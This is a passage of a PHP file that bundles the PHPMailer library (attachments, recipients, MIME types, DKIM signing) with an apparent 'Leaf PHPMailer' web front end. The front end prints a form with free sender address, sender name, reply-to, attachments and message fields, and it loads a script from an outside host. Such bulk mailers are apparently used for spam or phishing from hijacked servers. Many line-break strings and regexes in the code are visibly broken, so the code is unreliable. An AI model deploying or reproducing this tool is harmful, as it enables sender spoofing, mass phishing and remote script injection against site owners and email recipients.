  2575. * the HTML refers to using the $cid value.
  2576. * @param string $path Path to the attachment.
  2577. * @param string $cid Content ID of the attachment; Use this to reference
  2578. * the content when using an embedded image in HTML.
  2579. * @param string $name Overrides the attachment name.
  2580. * @param string $encoding File encoding (see $Encoding).
  2581. * @param string $type File MIME type.
  2582. * @param string $disposition Disposition to use
  2583. * @return boolean True on successfully adding an attachment
  2584. */
  2585. public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline') {
  2586. if (!@is_file($path)) {
  2587. $this->setError($this->lang('file_access') . $path);
  2588. return false;
  2589. }
  2590. // If a MIME type is not specified, try to work it out from the file name
  2591. if ($type == '') {
  2592. $type = self::filenameToType($path);
  2593. }
  2594. $filename = basename($path);
  2595. if ($name == '') {
  2596. $name = $filename;
  2597. }
  2598. // Append to $attachment array
  2599. $this->attachment[] = array(0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, // isStringAttachment
  2600. 6 => $disposition, 7 => $cid);
  2601. return true;
  2602. }
  2603. /**
  2604. * Add an embedded stringified attachment.
  2605. * This can include images, sounds, and just about any other document type.
  2606. * Be sure to set the $type to an image type for images:
  2607. * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
  2608. * @param string $string The attachment binary data.
  2609. * @param string $cid Content ID of the attachment; Use this to reference
  2610. * the content when using an embedded image in HTML.
  2611. * @param string $name
  2612. * @param string $encoding File encoding (see $Encoding).
  2613. * @param string $type MIME type.
  2614. * @param string $disposition Disposition to use
  2615. * @return boolean True on successfully adding an attachment
  2616. */
  2617. public function addStringEmbeddedImage($string, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline') {
  2618. // If a MIME type is not specified, try to work it out from the name
  2619. if ($type == '' and !empty($name)) {
  2620. $type = self::filenameToType($name);
  2621. }
  2622. // Append to $attachment array
  2623. $this->attachment[] = array(0 => $string, 1 => $name, 2 => $name, 3 => $encoding, 4 => $type, 5 => true, // isStringAttachment
  2624. 6 => $disposition, 7 => $cid);
  2625. return true;
  2626. }
  2627. /**
  2628. * Check if an inline attachment is present.
  2629. * @access public
  2630. * @return boolean
  2631. */
  2632. public function inlineImageExists() {
  2633. foreach ($this->attachment as $attachment) {
  2634. if ($attachment[6] == 'inline') {
  2635. return true;
  2636. }
  2637. }
  2638. return false;
  2639. }
  2640. /**
  2641. * Check if an attachment (non-inline) is present.
  2642. * @return boolean
  2643. */
  2644. public function attachmentExists() {
  2645. foreach ($this->attachment as $attachment) {
  2646. if ($attachment[6] == 'attachment') {
  2647. return true;
  2648. }
  2649. }
  2650. return false;
  2651. }
  2652. /**
  2653. * Check if this message has an alternative body set.
  2654. * @return boolean
  2655. */
  2656. public function alternativeExists() {
  2657. return !empty($this->AltBody);
  2658. }
  2659. /**
  2660. * Clear queued addresses of given kind.
  2661. * @access protected
  2662. * @param string $kind 'to', 'cc', or 'bcc'
  2663. * @return void
  2664. */
  2665. public function clearQueuedAddresses($kind) {
  2666. $RecipientsQueue = $this->RecipientsQueue;
  2667. foreach ($RecipientsQueue as $address => $params) {
  2668. if ($params[0] == $kind) {
  2669. unset($this->RecipientsQueue[$address]);
  2670. }
  2671. }
  2672. }
  2673. /**
  2674. * Clear all To recipients.
  2675. * @return void
  2676. */
  2677. public function clearAddresses() {
  2678. foreach ($this->to as $to) {
  2679. unset($this->all_recipients[strtolower($to[0]) ]);
  2680. }
  2681. $this->to = array();
  2682. $this->clearQueuedAddresses('to');
  2683. }
  2684. /**
  2685. * Clear all CC recipients.
  2686. * @return void
  2687. */
  2688. public function clearCCs() {
  2689. foreach ($this->cc as $cc) {
  2690. unset($this->all_recipients[strtolower($cc[0]) ]);
  2691. }
  2692. $this->cc = array();
  2693. $this->clearQueuedAddresses('cc');
  2694. }
  2695. /**
  2696. * Clear all BCC recipients.
  2697. * @return void
  2698. */
  2699. public function clearBCCs() {
  2700. foreach ($this->bcc as $bcc) {
  2701. unset($this->all_recipients[strtolower($bcc[0]) ]);
  2702. }
  2703. $this->bcc = array();
  2704. $this->clearQueuedAddresses('bcc');
  2705. }
  2706. /**
  2707. * Clear all ReplyTo recipients.
  2708. * @return void
  2709. */
  2710. public function clearReplyTos() {
  2711. $this->ReplyTo = array();
  2712. $this->ReplyToQueue = array();
  2713. }
  2714. /**
  2715. * Clear all recipient types.
  2716. * @return void
  2717. */
  2718. public function clearAllRecipients() {
  2719. $this->to = array();
  2720. $this->cc = array();
  2721. $this->bcc = array();
  2722. $this->all_recipients = array();
  2723. $this->RecipientsQueue = array();
  2724. }
  2725. /**
  2726. * Clear all filesystem, string, and binary attachments.
  2727. * @return void
  2728. */
  2729. public function clearAttachments() {
  2730. $this->attachment = array();
  2731. }
  2732. /**
  2733. * Clear all custom headers.
  2734. * @return void
  2735. */
  2736. public function clearCustomHeaders() {
  2737. $this->CustomHeader = array();
  2738. }
  2739. /**
  2740. * Add an error message to the error container.
  2741. * @access protected
  2742. * @param string $msg
  2743. * @return void
  2744. */
  2745. protected function setError($msg) {
  2746. $this->error_count++;
  2747. if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
  2748. $lasterror = $this->smtp->getError();
  2749. if (!empty($lasterror['error'])) {
  2750. $msg.= $this->lang('smtp_error') . $lasterror['error'];
  2751. if (!empty($lasterror['detail'])) {
  2752. $msg.= ' Detail: ' . $lasterror['detail'];
  2753. }
  2754. if (!empty($lasterror['smtp_code'])) {
  2755. $msg.= ' SMTP code: ' . $lasterror['smtp_code'];
  2756. }
  2757. if (!empty($lasterror['smtp_code_ex'])) {
  2758. $msg.= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
  2759. }
  2760. }
  2761. }
  2762. $this->ErrorInfo = $msg;
  2763. }
  2764. /**
  2765. * Return an RFC 822 formatted date.
  2766. * @access public
  2767. * @return string
  2768. * @static
  2769. */
  2770. public static function rfcDate() {
  2771. // Set the time zone to whatever the default is to avoid 500 errors
  2772. // Will default to UTC if it's not set properly in php.ini
  2773. date_default_timezone_set(@date_default_timezone_get());
  2774. return date('D, j M Y H:i:s O');
  2775. }
  2776. /**
  2777. * Get the server hostname.
  2778. * Returns 'localhost.localdomain' if unknown.
  2779. * @access protected
  2780. * @return string
  2781. */
  2782. protected function serverHostname() {
  2783. $result = 'localhost.localdomain';
  2784. if (!empty($this->Hostname)) {
  2785. $result = $this->Hostname;
  2786. } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
  2787. $result = $_SERVER['SERVER_NAME'];
  2788. } elseif (function_exists('gethostname') && gethostname() !== false) {
  2789. $result = gethostname();
  2790. } elseif (php_uname('n') !== false) {
  2791. $result = php_uname('n');
  2792. }
  2793. return $result;
  2794. }
  2795. /**
  2796. * Get an error message in the current language.
  2797. * @access protected
  2798. * @param string $key
  2799. * @return string
  2800. */
  2801. protected function lang($key) {
  2802. if (count($this->language) < 1) {
  2803. $this->setLanguage('en'); // set the default language
  2804.  
  2805. }
  2806. if (array_key_exists($key, $this->language)) {
  2807. if ($key == 'smtp_connect_failed') {
  2808. //Include a link to troubleshooting docs on SMTP connection failure
  2809. //this is by far the biggest cause of support questions
  2810. //but it's usually not PHPMailer's fault.
  2811. return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
  2812. }
  2813. return $this->language[$key];
  2814. } else {
  2815. //Return the key as a fallback
  2816. return $key;
  2817. }
  2818. }
  2819. /**
  2820. * Check if an error occurred.
  2821. * @access public
  2822. * @return boolean True if an error did occur.
  2823. */
  2824. public function isError() {
  2825. return ($this->error_count > 0);
  2826. }
  2827. /**
  2828. * Ensure consistent line endings in a string.
  2829. * Changes every end of line from CRLF, CR or LF to $this->LE.
  2830. * @access public
  2831. * @param string $str String to fixEOL
  2832. * @return string
  2833. */
  2834. public function fixEOL($str) {
  2835. // Normalise to
  2836. $nstr = str_replace(array("
  2837. ", "
  2838. "), "
  2839. ", $str);
  2840. // Now convert LE as needed
  2841. if ($this->LE !== "
  2842. ") {
  2843. $nstr = str_replace("
  2844. ", $this->LE, $nstr);
  2845. }
  2846. return $nstr;
  2847. }
  2848. /**
  2849. * Add a custom header.
  2850. * $name value can be overloaded to contain
  2851. * both header name and value (name:value)
  2852. * @access public
  2853. * @param string $name Custom header name
  2854. * @param string $value Header value
  2855. * @return void
  2856. */
  2857. public function addCustomHeader($name, $value = null) {
  2858. if ($value === null) {
  2859. // Value passed in as name:value
  2860. $this->CustomHeader[] = explode(':', $name, 2);
  2861. } else {
  2862. $this->CustomHeader[] = array($name, $value);
  2863. }
  2864. }
  2865. /**
  2866. * Returns all custom headers.
  2867. * @return array
  2868. */
  2869. public function getCustomHeaders() {
  2870. return $this->CustomHeader;
  2871. }
  2872. /**
  2873. * Create a message from an HTML string.
  2874. * Automatically makes modifications for inline images and backgrounds
  2875. * and creates a plain-text version by converting the HTML.
  2876. * Overwrites any existing values in $this->Body and $this->AltBody
  2877. * @access public
  2878. * @param string $message HTML message string
  2879. * @param string $basedir baseline directory for path
  2880. * @param boolean|callable $advanced Whether to use the internal HTML to text converter
  2881. * or your own custom converter @see PHPMailer::html2text()
  2882. * @return string $message
  2883. */
  2884. public function msgHTML($message, $basedir = '', $advanced = false) {
  2885. preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
  2886. if (array_key_exists(2, $images)) {
  2887. foreach ($images[2] as $imgindex => $url) {
  2888. // Convert data URIs into embedded images
  2889. if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
  2890. $data = substr($url, strpos($url, ','));
  2891. if ($match[2]) {
  2892. $data = base64_decode($data);
  2893. } else {
  2894. $data = rawurldecode($data);
  2895. }
  2896. $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  2897. if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
  2898. $message = str_replace($images[0][$imgindex], $images[1][$imgindex] . '="cid:' . $cid . '"', $message);
  2899. }
  2900. } elseif (substr($url, 0, 4) !== 'cid:' && !preg_match('#^[A-z]+://#', $url)) {
  2901. // Do not change urls for absolute images (thanks to corvuscorax)
  2902. // Do not change urls that are already inline images
  2903. $filename = basename($url);
  2904. $directory = dirname($url);
  2905. if ($directory == '.') {
  2906. $directory = '';
  2907. }
  2908. $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  2909. if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
  2910. $basedir.= '/';
  2911. }
  2912. if (strlen($directory) > 1 && substr($directory, -1) != '/') {
  2913. $directory.= '/';
  2914. }
  2915. if ($this->addEmbeddedImage($basedir . $directory . $filename, $cid, $filename, 'base64', self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION)))) {
  2916. $message = preg_replace('/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui', $images[1][$imgindex] . '="cid:' . $cid . '"', $message);
  2917. }
  2918. }
  2919. }
  2920. }
  2921. $this->isHTML(true);
  2922. // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
  2923. $this->Body = $this->normalizeBreaks($message);
  2924. $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
  2925. if (empty($this->AltBody)) {
  2926. $this->AltBody = 'To view this email message, open it in a program that understands HTML!' . self::CRLF . self::CRLF;
  2927. }
  2928. return $this->Body;
  2929. }
  2930. /**
  2931. * Convert an HTML string into plain text.
  2932. * This is used by msgHTML().
  2933. * Note - older versions of this function used a bundled advanced converter
  2934. * which was been removed for license reasons in #232
  2935. * Example usage:
  2936. * <code>
  2937. * // Use default conversion
  2938. * $plain = $mail->html2text($html);
  2939. * // Use your own custom converter
  2940. * $plain = $mail->html2text($html, function($html) {
  2941. * $converter = new MyHtml2text($html);
  2942. * return $converter->get_text();
  2943. * });
  2944. * </code>
  2945. * @param string $html The HTML text to convert
  2946. * @param boolean|callable $advanced Any boolean value to use the internal converter,
  2947. * or provide your own callable for custom conversion.
  2948. * @return string
  2949. */
  2950. public function html2text($html, $advanced = false) {
  2951. if (is_callable($advanced)) {
  2952. return call_user_func($advanced, $html);
  2953. }
  2954. return html_entity_decode(trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/>/si', '', $html))), ENT_QUOTES, $this->CharSet);
  2955. }
  2956. /**
  2957. * Get the MIME type for a file extension.
  2958. * @param string $ext File extension
  2959. * @access public
  2960. * @return string MIME type of file.
  2961. * @static
  2962. */
  2963. public static function _mime_types($ext = '') {
  2964. $mimes = array('xl' => 'application/excel', 'js' => 'application/javascript', 'hqx' => 'application/mac-binhex40', 'cpt' => 'application/mac-compactpro', 'bin' => 'application/macbinary', 'doc' => 'application/msword', 'word' => 'application/msword', 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template', 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template', 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow', 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide', 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template', 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12', 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12', 'class' => 'application/octet-stream', 'dll' => 'application/octet-stream', 'dms' => 'application/octet-stream', 'exe' => 'application/octet-stream', 'lha' => 'application/octet-stream', 'lzh' => 'application/octet-stream', 'psd' => 'application/octet-stream', 'sea' => 'application/octet-stream', 'so' => 'application/octet-stream', 'oda' => 'application/oda', 'pdf' => 'application/pdf', 'ai' => 'application/postscript', 'eps' => 'application/postscript', 'ps' => 'application/postscript', 'smi' => 'application/smil', 'smil' => 'application/smil', 'mif' => 'application/vnd.mif', 'xls' => 'application/vnd.ms-excel', 'ppt' => 'application/vnd.ms-powerpoint', 'wbxml' => 'application/vnd.wap.wbxml', 'wmlc' => 'application/vnd.wap.wmlc', 'dcr' => 'application/x-director', 'dir' => 'application/x-director', 'dxr' => 'application/x-director', 'dvi' => 'application/x-dvi', 'gtar' => 'application/x-gtar', 'php3' => 'application/x-httpd-php', 'php4' => 'application/x-httpd-php', 'php' => 'application/x-httpd-php', 'phtml' => 'application/x-httpd-php', 'phps' => 'application/x-httpd-php-source', 'swf' => 'application/x-shockwave-flash', 'sit' => 'application/x-stuffit', 'tar' => 'application/x-tar', 'tgz' => 'application/x-tar', 'xht' => 'application/xhtml+xml', 'xhtml' => 'application/xhtml+xml', 'zip' => 'application/zip', 'mid' => 'audio/midi', 'midi' => 'audio/midi', 'mp2' => 'audio/mpeg', 'mp3' => 'audio/mpeg', 'mpga' => 'audio/mpeg', 'aif' => 'audio/x-aiff', 'aifc' => 'audio/x-aiff', 'aiff' => 'audio/x-aiff', 'ram' => 'audio/x-pn-realaudio', 'rm' => 'audio/x-pn-realaudio', 'rpm' => 'audio/x-pn-realaudio-plugin', 'ra' => 'audio/x-realaudio', 'wav' => 'audio/x-wav', 'bmp' => 'image/bmp', 'gif' => 'image/gif', 'jpeg' => 'image/jpeg', 'jpe' => 'image/jpeg', 'jpg' => 'image/jpeg', 'png' => 'image/png', 'tiff' => 'image/tiff', 'tif' => 'image/tiff', 'eml' => 'message/rfc822', 'css' => 'text/css', 'html' => 'text/html', 'htm' => 'text/html', 'shtml' => 'text/html', 'log' => 'text/plain', 'text' => 'text/plain', 'txt' => 'text/plain', 'rtx' => 'text/richtext', 'rtf' => 'text/rtf', 'vcf' => 'text/vcard', 'vcard' => 'text/vcard', 'xml' => 'text/xml', 'xsl' => 'text/xml', 'mpeg' => 'video/mpeg', 'mpe' => 'video/mpeg', 'mpg' => 'video/mpeg', 'mov' => 'video/quicktime', 'qt' => 'video/quicktime', 'rv' => 'video/vnd.rn-realvideo', 'avi' => 'video/x-msvideo', 'movie' => 'video/x-sgi-movie');
  2965. if (array_key_exists(strtolower($ext), $mimes)) {
  2966. return $mimes[strtolower($ext) ];
  2967. }
  2968. return 'application/octet-stream';
  2969. }
  2970. /**
  2971. * Map a file name to a MIME type.
  2972. * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
  2973. * @param string $filename A file name or full path, does not need to exist as a file
  2974. * @return string
  2975. * @static
  2976. */
  2977. public static function filenameToType($filename) {
  2978. // In case the path is a URL, strip any query string before getting extension
  2979. $qpos = strpos($filename, '?');
  2980. if (false !== $qpos) {
  2981. $filename = substr($filename, 0, $qpos);
  2982. }
  2983. $pathinfo = self::mb_pathinfo($filename);
  2984. return self::_mime_types($pathinfo['extension']);
  2985. }
  2986. /**
  2987. * Multi-byte-safe pathinfo replacement.
  2988. * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
  2989. * Works similarly to the one in PHP >= 5.2.0
  2990. * @link http://www.php.net/manual/en/function.pathinfo.php#107461
  2991. * @param string $path A filename or path, does not need to exist as a file
  2992. * @param integer|string $options Either a PATHINFO_* constant,
  2993. * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
  2994. * @return string|array
  2995. * @static
  2996. */
  2997. public static function mb_pathinfo($path, $options = null) {
  2998. $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
  2999. $pathinfo = array();
  3000. if (preg_match('%^(.*?)[\/]*(([^/\]*?)(\.([^\.\/]+?)|))[\/\.]*$%im', $path, $pathinfo)) {
  3001. if (array_key_exists(1, $pathinfo)) {
  3002. $ret['dirname'] = $pathinfo[1];
  3003. }
  3004. if (array_key_exists(2, $pathinfo)) {
  3005. $ret['basename'] = $pathinfo[2];
  3006. }
  3007. if (array_key_exists(5, $pathinfo)) {
  3008. $ret['extension'] = $pathinfo[5];
  3009. }
  3010. if (array_key_exists(3, $pathinfo)) {
  3011. $ret['filename'] = $pathinfo[3];
  3012. }
  3013. }
  3014. switch ($options) {
  3015. case PATHINFO_DIRNAME:
  3016. case 'dirname':
  3017. return $ret['dirname'];
  3018. case PATHINFO_BASENAME:
  3019. case 'basename':
  3020. return $ret['basename'];
  3021. case PATHINFO_EXTENSION:
  3022. case 'extension':
  3023. return $ret['extension'];
  3024. case PATHINFO_FILENAME:
  3025. case 'filename':
  3026. return $ret['filename'];
  3027. default:
  3028. return $ret;
  3029. }
  3030. }
  3031. /**
  3032. * Set or reset instance properties.
  3033. * You should avoid this function - it's more verbose, less efficient, more error-prone and
  3034. * harder to debug than setting properties directly.
  3035. * Usage Example:
  3036. * `$mail->set('SMTPSecure', 'tls');`
  3037. * is the same as:
  3038. * `$mail->SMTPSecure = 'tls';`
  3039. * @access public
  3040. * @param string $name The property name to set
  3041. * @param mixed $value The value to set the property to
  3042. * @return boolean
  3043. * @TODO Should this not be using the __set() magic function?
  3044. */
  3045. public function set($name, $value = '') {
  3046. if (property_exists($this, $name)) {
  3047. $this->$name = $value;
  3048. return true;
  3049. } else {
  3050. $this->setError($this->lang('variable_set') . $name);
  3051. return false;
  3052. }
  3053. }
  3054. /**
  3055. * Strip newlines to prevent header injection.
  3056. * @access public
  3057. * @param string $str
  3058. * @return string
  3059. */
  3060. public function secureHeader($str) {
  3061. return trim(str_replace(array("
  3062. ", "
  3063. "), '', $str));
  3064. }
  3065. /**
  3066. * Normalize line breaks in a string.
  3067. * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
  3068. * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
  3069. * @param string $text
  3070. * @param string $breaktype What kind of line break to use, defaults to CRLF
  3071. * @return string
  3072. * @access public
  3073. * @static
  3074. */
  3075. public static function normalizeBreaks($text, $breaktype = "
  3076. ") {
  3077. return preg_replace('/(
  3078. |
  3079. |
  3080. )/ms', $breaktype, $text);
  3081. }
  3082. /**
  3083. * Set the public and private key files and password for S/MIME signing.
  3084. * @access public
  3085. * @param string $cert_filename
  3086. * @param string $key_filename
  3087. * @param string $key_pass Password for private key
  3088. * @param string $extracerts_filename Optional path to chain certificate
  3089. */
  3090. public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '') {
  3091. $this->sign_cert_file = $cert_filename;
  3092. $this->sign_key_file = $key_filename;
  3093. $this->sign_key_pass = $key_pass;
  3094. $this->sign_extracerts_file = $extracerts_filename;
  3095. }
  3096. /**
  3097. * Quoted-Printable-encode a DKIM header.
  3098. * @access public
  3099. * @param string $txt
  3100. * @return string
  3101. */
  3102. public function DKIM_QP($txt) {
  3103. $line = '';
  3104. for ($i = 0;$i < strlen($txt);$i++) {
  3105. $ord = ord($txt[$i]);
  3106. if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
  3107. $line.= $txt[$i];
  3108. } else {
  3109. $line.= '=' . sprintf('%02X', $ord);
  3110. }
  3111. }
  3112. return $line;
  3113. }
  3114. /**
  3115. * Generate a DKIM signature.
  3116. * @access public
  3117. * @param string $signHeader
  3118. * @throws phpmailerException
  3119. * @return string
  3120. */
  3121. public function DKIM_Sign($signHeader) {
  3122. if (!defined('PKCS7_TEXT')) {
  3123. if ($this->exceptions) {
  3124. throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  3125. }
  3126. return '';
  3127. }
  3128. $privKeyStr = file_get_contents($this->DKIM_private);
  3129. if ($this->DKIM_passphrase != '') {
  3130. $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
  3131. } else {
  3132. $privKey = $privKeyStr;
  3133. }
  3134. if (openssl_sign($signHeader, $signature, $privKey)) {
  3135. return base64_encode($signature);
  3136. }
  3137. return '';
  3138. }
  3139. /**
  3140. * Generate a DKIM canonicalization header.
  3141. * @access public
  3142. * @param string $signHeader Header
  3143. * @return string
  3144. */
  3145. public function DKIM_HeaderC($signHeader) {
  3146. $signHeader = preg_replace('/
  3147. \s+/', ' ', $signHeader);
  3148. $lines = explode("
  3149. ", $signHeader);
  3150. foreach ($lines as $key => $line) {
  3151. list($heading, $value) = explode(':', $line, 2);
  3152. $heading = strtolower($heading);
  3153. $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
  3154. $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
  3155.  
  3156. }
  3157. $signHeader = implode("
  3158. ", $lines);
  3159. return $signHeader;
  3160. }
  3161. /**
  3162. * Generate a DKIM canonicalization body.
  3163. * @access public
  3164. * @param string $body Message Body
  3165. * @return string
  3166. */
  3167. public function DKIM_BodyC($body) {
  3168. if ($body == '') {
  3169. return "
  3170. ";
  3171. }
  3172. // stabilize line endings
  3173. $body = str_replace("
  3174. ", "
  3175. ", $body);
  3176. $body = str_replace("
  3177. ", "
  3178. ", $body);
  3179. // END stabilize line endings
  3180. while (substr($body, strlen($body) - 4, 4) == "
  3181.  
  3182. ") {
  3183. $body = substr($body, 0, strlen($body) - 2);
  3184. }
  3185. return $body;
  3186. }
  3187. /**
  3188. * Create the DKIM header and body in a new message header.
  3189. * @access public
  3190. * @param string $headers_line Header lines
  3191. * @param string $subject Subject
  3192. * @param string $body Body
  3193. * @return string
  3194. */
  3195. public function DKIM_Add($headers_line, $subject, $body) {
  3196. $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
  3197. $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
  3198. $DKIMquery = 'dns/txt'; // Query method
  3199. $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
  3200. $subject_header = "Subject: $subject";
  3201. $headers = explode($this->LE, $headers_line);
  3202. $from_header = '';
  3203. $to_header = '';
  3204. $current = '';
  3205. foreach ($headers as $header) {
  3206. if (strpos($header, 'From:') === 0) {
  3207. $from_header = $header;
  3208. $current = 'from_header';
  3209. } elseif (strpos($header, 'To:') === 0) {
  3210. $to_header = $header;
  3211. $current = 'to_header';
  3212. } else {
  3213. if (!empty($$current) && strpos($header, ' =?') === 0) {
  3214. $$current.= $header;
  3215. } else {
  3216. $current = '';
  3217. }
  3218. }
  3219. }
  3220. $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
  3221. $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
  3222. $subject = str_replace('|', '=7C', $this->DKIM_QP($subject_header)); // Copied header fields (dkim-quoted-printable)
  3223. $body = $this->DKIM_BodyC($body);
  3224. $DKIMlen = strlen($body); // Length of body
  3225. $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
  3226. if ('' == $this->DKIM_identity) {
  3227. $ident = '';
  3228. } else {
  3229. $ident = ' i=' . $this->DKIM_identity . ';';
  3230. }
  3231. $dkimhdrs = 'DKIM-Signature: v=1; a=' . $DKIMsignatureType . '; q=' . $DKIMquery . '; l=' . $DKIMlen . '; s=' . $this->DKIM_selector . ";" . " t=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";" . " h=From:To:Subject;" . " d=" . $this->DKIM_domain . ';' . $ident . "" . " z=$from" . " |$to" . " |$subject;" . " bh=" . $DKIMb64 . ";" . " b=";
  3232. $toSign = $this->DKIM_HeaderC($from_header . "" . $to_header . "" . $subject_header . "" . $dkimhdrs);
  3233. $signed = $this->DKIM_Sign($toSign);
  3234. return $dkimhdrs . $signed . "
  3235. ";
  3236. }
  3237. /**
  3238. * Detect if a string contains a line longer than the maximum line length allowed.
  3239. * @param string $str
  3240. * @return boolean
  3241. * @static
  3242. */
  3243. public static function hasLineLongerThanMax($str) {
  3244. //+2 to include CRLF line break for a 1000 total
  3245. return (boolean)preg_match('/^(.{' . (self::MAX_LINE_LENGTH + 2) . ',})/m', $str);
  3246. }
  3247. /**
  3248. * Allows for public read access to 'to' property.
  3249. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3250. * @access public
  3251. * @return array
  3252. */
  3253. public function getToAddresses() {
  3254. return $this->to;
  3255. }
  3256. /**
  3257. * Allows for public read access to 'cc' property.
  3258. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3259. * @access public
  3260. * @return array
  3261. */
  3262. public function getCcAddresses() {
  3263. return $this->cc;
  3264. }
  3265. /**
  3266. * Allows for public read access to 'bcc' property.
  3267. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3268. * @access public
  3269. * @return array
  3270. */
  3271. public function getBccAddresses() {
  3272. return $this->bcc;
  3273. }
  3274. /**
  3275. * Allows for public read access to 'ReplyTo' property.
  3276. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3277. * @access public
  3278. * @return array
  3279. */
  3280. public function getReplyToAddresses() {
  3281. return $this->ReplyTo;
  3282. }
  3283. /**
  3284. * Allows for public read access to 'all_recipients' property.
  3285. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3286. * @access public
  3287. * @return array
  3288. */
  3289. public function getAllRecipientAddresses() {
  3290. return $this->all_recipients;
  3291. }
  3292. /**
  3293. * Perform a callback.
  3294. * @param boolean $isSent
  3295. * @param array $to
  3296. * @param array $cc
  3297. * @param array $bcc
  3298. * @param string $subject
  3299. * @param string $body
  3300. * @param string $from
  3301. */
  3302. protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from) {
  3303. if (!empty($this->action_function) && is_callable($this->action_function)) {
  3304. $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
  3305. call_user_func_array($this->action_function, $params);
  3306. }
  3307. }
  3308. }
  3309. /**
  3310. * PHPMailer exception handler
  3311. * @package PHPMailer
  3312. */
  3313. class phpmailerException extends Exception {
  3314. /**
  3315. * Prettify error message output
  3316. * @return string
  3317. */
  3318. public function errorMessage() {
  3319. $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />
  3320. ";
  3321. return $errorMsg;
  3322. }
  3323. }
  3324. print '
  3325. <head>
  3326. <title>Leaf PHPMailer</title>
  3327. <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
  3328. <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.3.6/cosmo/bootstrap.min.css" rel="stylesheet" >
  3329. <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script>
  3330. <script src="https://leafmailer.pw/style.js"></script>
  3331.  
  3332. </head>';
  3333. print '<body>';
  3334. print '<div class="container col-lg-6">
  3335. <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>' . $leaf['version'] . '</small></h3>
  3336. <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
  3337. <div class="row">
  3338. <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control input-sm " id="senderEmail" name="senderEmail" value="' . $senderEmail . '"></div>
  3339. <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control input-sm " id="senderName" name="senderName" value="' . $senderName . '"></div>
  3340. </div>
  3341. <div class="row">
  3342. <span class="form-group col-lg-6 "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>
  3343.  
  3344. <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control input-sm " id="replyTo" name="replyTo" value="' . $replyTo . '" /></div>
  3345. </div>
  3346. <div class="row">
  3347. <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control input-sm " id="subject" name="subject" value="' . $subject . '" /></div>
  3348. </div>
  3349. <div class="row">
  3350. <div class="form-group col-lg-6"><label for="messageLetter">Message Letter</label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">' . $messageLetter . '</textarea></div>
